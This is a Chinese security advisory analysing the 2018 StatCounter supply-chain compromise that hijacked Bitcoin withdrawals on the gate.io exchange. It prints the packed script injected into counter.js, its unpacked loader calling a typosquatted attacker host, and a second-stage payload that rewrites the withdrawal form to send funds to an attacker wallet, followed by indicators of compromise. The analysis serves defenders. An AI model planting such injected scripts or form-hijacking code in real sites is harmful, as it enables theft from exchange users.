漏洞预警 | 知名交易所gate.io受JS代码劫持

2018-11-12 690845人围观 ,发现 1 个不明物体 区块链安全

概述

近期,网络分析平台 StatCounter 被黑客攻击,其服务代码被植入恶意脚本,加密货币交易所 gate.io 因使用此代码而受到恶意劫持,这个恶意代码劫持了通过 Gate.io 加密货币交易所的 Web 界面进行的任何比特币交易,攻击者通过替换目标地址来窃取比特币。目前,StatCounter 仍然受到了损害,而 Gate.io 已从其网站上删除了该脚本。

Gate.io

一、漏洞分析

分析过程参考 : [https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/]

11月3日,攻击者成功攻击了网络分析平台 StatCounter 。许多网站管理员都使用此服务来收集访问者的统计信息(这项服务与Google Analytics非常相似)。网站管理员通常会在每个网页中添加一个外部 JavaScript 代码,其中包含来自 StatCounter 的一段代码 www.statcounter[.]com/counter/counter.js。攻击者通过黑入 StatCounter 平台,可以在所有使用 StatCounter 的网站中注入 JavaScript 代码。

攻击者修改的脚本在 www.statcounter[.]com/counter/counter.js 通过加入一块恶意代码,从下面的代码中所示,恶意代码放在了脚本的中间部分。而因为攻击者通常会在脚本的开头或结尾添加恶意代码,加在中间位置会增大检测的难度。

eval(function(p, a, c, k, e, r) {
    e = function(c) {
        return c.toString(a)
    };
    if (!''.replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) {
            return r[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));

该脚本使用 Dean Edwards 打包器打包,这可能是最受欢迎的 JavaScript 打包器。但是,它也可以进行简单地解压,导致运行了脚本代码,如下所示。

myselfloc = '' + document.location;
if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
	var ga = document.createElement('script');
	ga.src = 'https://www.statconuter.com/c.php';
	ga.setAttribute('async', 'true');
	document.documentElement.firstChild.appendChild(ga);
}

这段代码将首先检查URL是否包含 myaccount/withdraw/BTC. 。因此,我们已经可以猜测攻击者的目标是以比特币平台为目标。如果检查通过,脚本将继续向网页添加新的脚本元素,并将代码合并到 https://www.statconuter[.]com/c.php。

要注意的是,攻击者注册的域名 statcounter[.]com 非常类似于 Statcounter 。他们只是替换了两个字母,在查看日志的时候很难注意到。有趣的是,通过检查该域的被动 DNS,我们注意到该域已于 2010 年因被滥用而暂停。

检查该域的被动 DNS

如上所述,脚本以特定的统一资源标识符(URI)为目标:myaccount/withdraw/BTC 。事实证明,在写入时不同的加密货币交易所中,只有 gate.io 具有带有此URI的有效页面。因此,这种交易所成为这次袭击的主要目标。这种交易所非常受欢迎,在中国的 Alexa 排名为 26,251 甚至最高时为 8,308。

此外,根据coinmarketcap.com ,每天在这个平台都有高达数百万美元的交易。因此,攻击者在这个平台上大规模窃取加密货币获利将是十分巨大的。

网页 https://www.gate[.]io/myaccount/withdraw/BTC ,如下所示,用于将比特币从 gate.io 帐户转移到外部比特币地址。

 gate.io 帐户

或许不令人吃惊,事实证明,在第二阶段的有效载荷,从 statconuter[.]com/c.php ,被设计成窃取比特币。因此,将脚本注入gate.io比特币转移网页是有意义的。这个脚本也包含 Dean Edwards 打包器。解压缩版本如下所示。

document.forms[0]['addr'].value = '';
document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () {
	var a = document.getElementById('withdraw_form');
	if ($('#amount').val() > 10) {
		document.forms[0]['addr']['name'] = '';
		var s = $("<input type='hidden' name='addr'/>");
		s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
		var b = $('#withdraw_form');
		b.append(s);
		a.submit();
	} else if (document.getElementById('canUse').innerText > 10) {
		document.forms[0]['addr']['name'] = '';
		var s = $("<input type='hidden' name='addr'/>");
		s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
		var b = $('#withdraw_form');
		b.append(s);
		document.forms[0]['amount']['name'] = '';
		var t = $("<input type='hidden' name='amount'/>");
		t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
		b.append(t);
		a.submit();
	} else {
		doSubmit1();
	}
};

在真正的 gate.io 网页中,已经有一个 doSubmit 函数,当用户点击提交按钮时调用,但攻击者在这里重新定义了它。

该脚本会自动将当前比特币地址替换成攻击者的地址,例如 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad 。每次访问者加载 statconuter[.]com/c.php 脚本时,恶意服务器都会生成一个新的比特币地址。因此,很难看出有多少比特币已转移给攻击者。

根据受害者是否输入超过 10 BTC 的金额,攻击者的脚本将使用它或使用受害者帐户的每日提款限额。在我们的测试帐户中,默认情况下,提款限额设置为 100 BTC。最后,恶意脚本提交表单,该表单执行从受害者帐户到攻击者钱包的转移。

这种重定向可能对受害者来说不明显,因为替换是在他们点击提交按钮后执行的。因此,这次攻击发生的过程非常迅速,甚至可能不会任何显示。

由于每次将恶意脚本发送给受害者时都会生成一个新的比特币地址,我们无法看到攻击者收集了多少比特币。例如,如果我们检查我们在测试机器上收到的地址,则余额为 0 BTC。

二、结论

即使我们不知道在这次攻击中有多少比特币被盗,但此处展示了攻击的可能性与范围,特别是加密货币交易所。为了实现这一目标,他们破坏了分析服务的网站,然后从一个加密货币交易所的客户那里窃取比特币。

它还表明,即使您的网站已更新并受到良好保护,它仍然容易受到最薄弱的组件的影响,尤其是组件使用的是外部的资源。这是另一个提醒,外部 JavaScript 代码由第三方控制,可以随时修改,恕不另行通知。

我们一发现这种恶意活动,已经通知了 StatCounter 和 gate.io .

三、IOC

恶意网址:

statcounter[.]com/counter/counter.js

statconuter[.]com/c.php

四、相关链接

Supply-chain attack on cryptocurrency exchange gate.io: https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/

Hackers breach StatCounter to hijack Bitcoin transactions on Gate.io exchange: https://www.zdnet.com/article/hackers-breach-statcounter-to-hijack-bitcoin-transactions-on-gate-io-exchange/

*本文作者:BUGX,转载请注明来自FreeBuf.COM

发表评论

已有 1 条评论

取消
Loading...
css.php